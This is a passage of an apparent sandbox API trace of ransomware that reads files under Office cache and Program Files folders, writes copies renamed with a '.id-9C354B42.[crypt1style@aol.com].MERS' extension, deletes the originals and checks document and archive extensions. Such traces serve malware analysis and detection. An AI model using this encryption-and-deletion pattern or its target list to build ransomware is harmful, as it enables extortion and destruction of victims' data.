[0035.655] CloseHandle (hObject=0x1dc) returned 1 [0035.656] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.656] SetEndOfFile (hFile=0x1e8) returned 1 [0035.657] CloseHandle (hObject=0x1e8) returned 1 [0035.657] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.657] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.657] lstrlenW (lpString=".doc") returned 4 [0035.657] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.657] lstrlenW (lpString=".docx") returned 5 [0035.657] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.657] lstrlenW (lpString=".pdf") returned 4 [0035.657] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.657] lstrlenW (lpString=".xls") returned 4 [0035.657] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.657] lstrlenW (lpString=".xlsx") returned 5 [0035.657] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.657] lstrlenW (lpString=".ppt") returned 4 [0035.657] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.657] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.658] lstrlenW (lpString=".zip") returned 4 [0035.658] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.658] lstrlenW (lpString=".rar") returned 4 [0035.658] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.658] lstrlenW (lpString=".bz2") returned 4 [0035.658] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.658] lstrlenW (lpString=".7z") returned 3 [0035.658] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.658] lstrlenW (lpString=".dbf") returned 4 [0035.658] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.658] lstrlenW (lpString=".1cd") returned 4 [0035.658] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.658] lstrlenW (lpString=".jpg") returned 4 [0035.658] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.658] lstrlenW (lpString=".doc") returned 4 [0035.658] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.658] lstrlenW (lpString=".docx") returned 5 [0035.658] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.658] lstrlenW (lpString=".pdf") returned 4 [0035.658] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.658] lstrlenW (lpString=".xls") returned 4 [0035.658] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.658] lstrlenW (lpString=".xlsx") returned 5 [0035.658] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.658] lstrlenW (lpString=".ppt") returned 4 [0035.658] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.658] lstrlenW (lpString=".zip") returned 4 [0035.658] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.659] lstrlenW (lpString=".rar") returned 4 [0035.659] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.659] lstrlenW (lpString=".bz2") returned 4 [0035.659] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.659] lstrlenW (lpString=".7z") returned 3 [0035.659] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.659] lstrlenW (lpString=".dbf") returned 4 [0035.659] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.659] lstrlenW (lpString=".1cd") returned 4 [0035.659] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.659] lstrlenW (lpString=".jpg") returned 4 [0035.659] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.659] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.659] lstrlenW (lpString="branding.xml") returned 12 [0035.659] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0035.660] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=596341) returned 1 [0035.660] CloseHandle (hObject=0x1e8) returned 1 [0035.660] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0035.660] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.660] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0035.660] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.660] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.660] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0035.660] GetLastError () returned 0x0 [0035.660] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x91975, lpOverlapped=0x0) returned 1 [0035.683] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0036.013] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.013] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0036.013] SetEndOfFile (hFile=0x1dc) returned 1 [0036.013] CloseHandle (hObject=0x1dc) returned 1 [0036.021] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.021] SetEndOfFile (hFile=0x1e8) returned 1 [0036.027] CloseHandle (hObject=0x1e8) returned 1 [0036.028] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0036.033] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0036.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0036.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0036.039] lstrlenW (lpString=".doc") returned 4 [0036.039] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.039] lstrlenW (lpString=".docx") returned 5 [0036.039] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0036.039] lstrlenW (lpString=".pdf") returned 4 [0036.039] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.039] lstrlenW (lpString=".xls") returned 4 [0036.039] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.039] lstrlenW (lpString=".xlsx") returned 5 [0036.039] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0036.039] lstrlenW (lpString=".ppt") returned 4 [0036.039] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0036.039] lstrlenW (lpString=".zip") returned 4 [0036.039] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.039] lstrlenW (lpString=".rar") returned 4 [0036.039] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.039] lstrlenW (lpString=".bz2") returned 4 [0036.039] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.039] lstrlenW (lpString=".7z") returned 3 [0036.039] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0036.039] lstrlenW (lpString=".dbf") returned 4 [0036.039] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0036.039] lstrlenW (lpString=".1cd") returned 4 [0036.039] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0036.039] lstrlenW (lpString=".jpg") returned 4 [0036.039] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0036.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0036.040] lstrlenW (lpString=".doc") returned 4 [0036.040] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.040] lstrlenW (lpString=".docx") returned 5 [0036.040] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0036.040] lstrlenW (lpString=".pdf") returned 4 [0036.040] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.040] lstrlenW (lpString=".xls") returned 4 [0036.040] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.040] lstrlenW (lpString=".xlsx") returned 5 [0036.040] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0036.040] lstrlenW (lpString=".ppt") returned 4 [0036.040] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0036.040] lstrlenW (lpString=".zip") returned 4 [0036.040] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.040] lstrlenW (lpString=".rar") returned 4 [0036.040] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.040] lstrlenW (lpString=".bz2") returned 4 [0036.040] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.040] lstrlenW (lpString=".7z") returned 3 [0036.040] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0036.040] lstrlenW (lpString=".dbf") returned 4 [0036.040] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0036.040] lstrlenW (lpString=".1cd") returned 4 [0036.040] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0036.040] lstrlenW (lpString=".jpg") returned 4 [0036.040] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.040] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0036.040] lstrlenW (lpString="MS.PNG") returned 6 [0036.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0037.384] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1682) returned 1 [0037.384] CloseHandle (hObject=0x204) returned 1 [0037.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0037.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0037.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0037.385] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.385] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0037.385] GetLastError () returned 0x0 [0037.385] ReadFile (in: hFile=0x204, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x692, lpOverlapped=0x0) returned 1 [0037.671] WriteFile (in: hFile=0x208, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0037.671] ReadFile (in: hFile=0x204, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.672] WriteFile (in: hFile=0x208, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0037.672] SetEndOfFile (hFile=0x208) returned 1 [0037.672] CloseHandle (hObject=0x208) returned 1 [0037.676] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.676] SetEndOfFile (hFile=0x204) returned 1 [0037.677] CloseHandle (hObject=0x204) returned 1 [0037.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0037.677] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0037.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.677] lstrlenW (lpString=".doc") returned 4 [0037.677] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0037.677] lstrlenW (lpString=".docx") returned 5 [0037.677] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0037.677] lstrlenW (lpString=".pdf") returned 4 [0037.677] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0037.677] lstrlenW (lpString=".xls") returned 4 [0037.677] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0037.677] lstrlenW (lpString=".xlsx") returned 5 [0037.677] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0037.678] lstrlenW (lpString=".ppt") returned 4 [0037.678] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0037.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.678] lstrlenW (lpString=".zip") returned 4 [0037.678] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0037.678] lstrlenW (lpString=".rar") returned 4 [0037.678] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0037.678] lstrlenW (lpString=".bz2") returned 4 [0037.678] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0037.678] lstrlenW (lpString=".7z") returned 3 [0037.678] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0037.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.678] lstrlenW (lpString=".dbf") returned 4 [0037.678] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0037.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.678] lstrlenW (lpString=".1cd") returned 4 [0037.678] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0037.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.678] lstrlenW (lpString=".jpg") returned 4 [0037.678] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0037.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.678] lstrlenW (lpString=".doc") returned 4 [0037.678] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0037.678] lstrlenW (lpString=".docx") returned 5 [0037.678] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0037.678] lstrlenW (lpString=".pdf") returned 4 [0037.678] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0037.678] lstrlenW (lpString=".xls") returned 4 [0037.678] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0037.678] lstrlenW (lpString=".xlsx") returned 5 [0037.678] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0037.678] lstrlenW (lpString=".ppt") returned 4 [0037.678] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0037.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.678] lstrlenW (lpString=".zip") returned 4 [0037.678] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0037.679] lstrlenW (lpString=".rar") returned 4 [0037.679] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0037.679] lstrlenW (lpString=".bz2") returned 4 [0037.679] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0037.679] lstrlenW (lpString=".7z") returned 3 [0037.679] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0037.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.679] lstrlenW (lpString=".dbf") returned 4 [0037.679] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0037.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.679] lstrlenW (lpString=".1cd") returned 4 [0037.679] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0037.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0037.679] lstrlenW (lpString=".jpg") returned 4 [0037.679] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0037.679] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0037.679] lstrlenW (lpString="Alphabet.xml") returned 12 [0037.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0038.342] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=791686) returned 1 [0038.342] CloseHandle (hObject=0x1c0) returned 1 [0038.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0038.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0038.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0038.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0038.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0038.342] lstrlenW (lpString=".doc") returned 4 [0038.342] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.342] lstrlenW (lpString=".docx") returned 5 [0038.342] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0038.342] lstrlenW (lpString=".pdf") returned 4 [0038.343] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.343] lstrlenW (lpString=".xls") returned 4 [0038.343] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.343] lstrlenW (lpString=".xlsx") returned 5 [0038.343] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0038.343] lstrlenW (lpString=".ppt") returned 4 [0038.343] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0038.343] lstrlenW (lpString=".zip") returned 4 [0038.343] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.343] lstrlenW (lpString=".rar") returned 4 [0038.343] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.343] lstrlenW (lpString=".bz2") returned 4 [0038.343] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.343] lstrlenW (lpString=".7z") returned 3 [0038.343] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0038.343] lstrlenW (lpString=".dbf") returned 4 [0038.343] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0038.343] lstrlenW (lpString=".1cd") returned 4 [0038.343] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0038.343] lstrlenW (lpString=".jpg") returned 4 [0038.343] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 